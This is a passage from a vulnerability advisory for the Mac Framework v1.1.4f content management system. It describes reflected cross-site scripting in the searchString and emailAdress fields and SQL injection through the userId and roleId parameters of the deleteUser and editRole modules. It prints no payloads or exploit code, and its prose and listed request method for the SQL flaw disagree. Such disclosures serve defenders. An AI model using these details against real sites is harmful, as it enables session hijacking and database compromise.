Technical Details & Description:
================================
1.1 & 1.2
Multiple non-persistent cross site scripting web vulnerabilities has
been discovered in the official Mac Framework v1.1.4f Content Managament
System.
The vulnerability allows remote attackers to manipulate client-side
browser to web-applicatio requests to compromise user sesson credentials
or to
manipulate module content.

The first vulnerability is located in the search input field of the
search module. Remote attackers are able to inject own malicious script
code as
search entry to execute the code within the results page that is loaded
shortly after the request is performed. The request method to inject is
POST
and the attack vector is located on the client-side with non-persistent
attack vector.

The second vulnerability is located in the email input field of the
account reset function. Remote attackers are able to inject own
malicious script code as
email to reset the passwort to execute the code within performed
request. The request method to inject is POST and the attack vector is
located on the
client-side with non-persistent attack vector.

Successful exploitation of the vulnerabilities results in session
hijacking, non-persistent phishing attacks, non-persistent external
redirects to
malicious source and non-persistent manipulation of affected or
connected application modules.

Request Method(s):
[+] POST

Vulnerable Parameter(s):
[+] searchString
[+] emailAdress


1.3
Multiple remote sql-injection web vulnerabilities has been discovered in
the official Mac Framework v1.1.4f Content Managament System.
The vulnerability allows remote attackers to inject or execute own sql
commands to compromise the dbms or file system of the application.

The sql injection vulnerabilities are located in the `roleId` and
`userId` of the `editRole` and `deletUser` module. The request method to
inject or execute commands is GET and the attack vector is located on
the application-side. Attackers with privileged accounts to edit are
able to inject own sql queries via roleid and userid on deleteUser or
editRole. Multiple unhandled and broken sql queries are visible as default
debug to output for users as well.

Exploitation of the remote sql injection vulnerability requires no user
interaction and a privileged web-application user account.
Successful exploitation of the remote sql injection results in database
management system, web-server and web-application compromise.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] deleteUser
[+] editRole

Vulnerable Parameter(s):
[+] userId
[+] roleId
